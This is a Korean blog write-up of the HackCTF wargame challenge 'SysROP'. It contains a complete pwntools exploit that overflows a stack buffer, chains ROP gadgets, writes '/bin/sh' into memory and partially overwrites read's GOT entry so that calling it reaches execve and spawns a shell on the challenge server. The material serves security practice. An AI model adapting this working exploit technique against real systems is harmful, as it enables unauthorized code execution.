본문 바로가기

SysROP 본문

wargame/HackCTF

SysROP

Seongjun_You 2021. 12. 16. 21:00

stripped가 되어있다.

 

디버깅이 불가능하다.

 

 

 

system함수와 /bin/sh을 찾을 수 없다.

read함수 내에 있는 syscall을 이용하도록 한다.

rax에 59를 넣고 syscall을 하면 execve()가 실행이 된다. 이것을 이용한다.

 

 

 

가젯을 모은다.

 

/bin/sh을 입력할 공간을 찾는다.

bss영역은 이미 사용중이다.

넉넉하게 0x601080에 입력하도록 한다.

 

 

from pwn import *
p = remote("ctf.j0n9hyun.xyz",3024)
context.log_level = "Debug"
elf = ELF("./sysrop")

main = 0x4005f2
data = 0x601080
ppppr = 0x4005ea #rax rdx rdi rsi ret
pppr = 0x4005eb  #rdx rdi rsi ret
binsh = "/bin/sh\x00"

payload = "A"*24
payload += p64(pppr)
payload += p64(0x8)   # rdx
payload += p64(0x0)   # rdi
payload += p64(data)  # rsi
payload += p64(elf.plt['read'])
payload += p64(main)


p.sendline(payload)
time.sleep(0.1)
p.send(binsh)

payload2 = "A"*24
payload2 += p64(pppr)
payload2 += p64(0x1)
payload2 += p64(0x0)
payload2 += p64(elf.got['read'])
payload2 += p64(elf.plt['read'])

payload2 += p64(ppppr)
payload2 += p64(59)
payload2 += p64(0x0)
payload2 += p64(data)
payload2 += p64(0x0)
payload2 += p64(elf.plt['read'])


time.sleep(0.1)
p.sendline(payload2)
time.sleep(0.1)
p.sendline("\x5e")
p.interactive()

syscall주소와 read의 주소는 한 바이트만 다르기 때문에 \x5e만 보냈다.

 

 

'wargame > HackCTF' 카테고리의 다른 글

Register  (0) 2021.12.16
RTC  (0) 2021.12.16
Unexploitable #1  (0) 2021.12.16
You are silver  (0) 2021.12.16
ROP  (0) 2021.12.13
Comments